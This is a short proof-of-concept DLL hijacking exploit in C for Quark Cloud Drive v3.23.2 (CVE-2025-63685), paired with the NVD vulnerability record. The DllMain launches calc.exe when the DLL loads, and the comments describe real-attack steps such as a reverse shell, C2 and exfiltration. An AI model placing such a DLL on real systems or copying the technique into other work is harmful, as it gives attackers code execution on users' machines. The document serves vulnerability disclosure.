CVE-2025-63685

// CVE-2025-63685 PoC - DLL Hijacking for Quark Cloud Drive v3.23.2 // Compile with: gcc -shared -o malicious.dll poc.c // Place the malicious.dll in the Quark Cloud Drive application directory #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell connection to attacker server // This PoC demonstrates code execution capability // Spawn calc.exe as proof of concept (for testing only) WinExec("calc.exe", SW_SHOWNORMAL); // Log exploitation attempt (in real attack, this would be hidden) MessageBox(NULL, "DLL Hijacking PoC", "CVE-2025-63685", MB_OK); // In actual exploitation: // - Establish C2 connection // - Execute arbitrary commands // - Exfiltrate sensitive data } return TRUE; } // Export function that the application expects // This ensures the malicious DLL doesn't cause immediate crash __declspec(dllexport) void RegisterServer() { // Legitimate function that Quark Cloud Drive expects // Place malicious code here or in DllMain }

{"cve": {"id": "CVE-2025-63685", "sourceIdentifier": "[email protected]", "published": "2025-11-20T21:16:06.370", "lastModified": "2025-12-16T18:05:05.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quark Cloud Drive v3.23.2 has a DLL Hijacking vulnerability. This vulnerability stems from the insecure loading of system libraries. Specifically, the application does not validate the path or signature of [regsvr32.exe] it loads. An attacker can place a crafted malicious DLL in the application's startup directory, which will be loaded and executed when the user launches the program."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-491"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quark:quark_cloud_drive:3.23.2:*:*:*:*:*:*:*", "matchCriteriaId": "59D512C2-93F6-4B77-85B1-BDAD4673CE13"}]}]}], "references": [{"url": "https://github.com/QIU-DIE/CVE/issues/5", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}